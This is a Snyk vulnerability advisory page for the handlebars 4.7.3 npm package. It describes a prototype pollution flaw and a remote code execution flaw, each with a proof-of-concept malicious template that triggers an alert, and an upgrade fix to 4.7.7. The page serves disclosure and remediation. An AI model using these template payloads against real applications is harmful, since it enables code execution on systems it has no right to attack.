org.webjars.npm:handlebars@4.7.3 vulnerabilities

  • latest version

    4.7.8

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    1 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:handlebars package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    org.webjars.npm:handlebars is an extension to the Mustache templating language.

    Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

    POC

    <script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
    <script> 
    // compile the template 
    
    var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`; 
    var template = Handlebars.compile(s2, { 
    compat: true 
    }); 
    // execute the compiled template and print the output to the console console.log(template({})); 
    </script>
    

    How to fix Prototype Pollution?

    Upgrade org.webjars.npm:handlebars to version 4.7.7 or higher.

    [,4.7.7)
    • H
    Remote Code Execution (RCE)

    org.webjars.npm:handlebars is an extension to the Mustache templating language.

    Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

    POC

    <script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
    <script> 
    // compile the template 
    var s = ` 
    {{#with (__lookupGetter__ "__proto__")}} 
    {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
    {{#with ../constructor.prototype}} 
    {{../../constructor.defineProperty . "hasOwnProperty" ..}} 
    {{/with}} 
    {{/with}} 
    {{/with}} 
    {{#with "constructor"}} 
    {{#with split}} 
    {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
    {{#with .}} 
    {{#with (concat (lookup join (slice 0 1)))}} 
    {{#each (slice 2 3)}} 
    {{#with (apply 0 ../..)}} 
    {{.}} 
    {{/with}} 
    {{/each}} 
    {{/with}} 
    {{/with}} 
    {{/with}} 
    {{/with}} 
    `;
    var template = Handlebars.compile(s, { 
    strict: true 
    }); 
    // execute the compiled template and print the output to the console console.log(template({})); 
    </script>
    

    How to fix Remote Code Execution (RCE)?

    Upgrade org.webjars.npm:handlebars to version 4.7.7 or higher.

    [,4.7.7)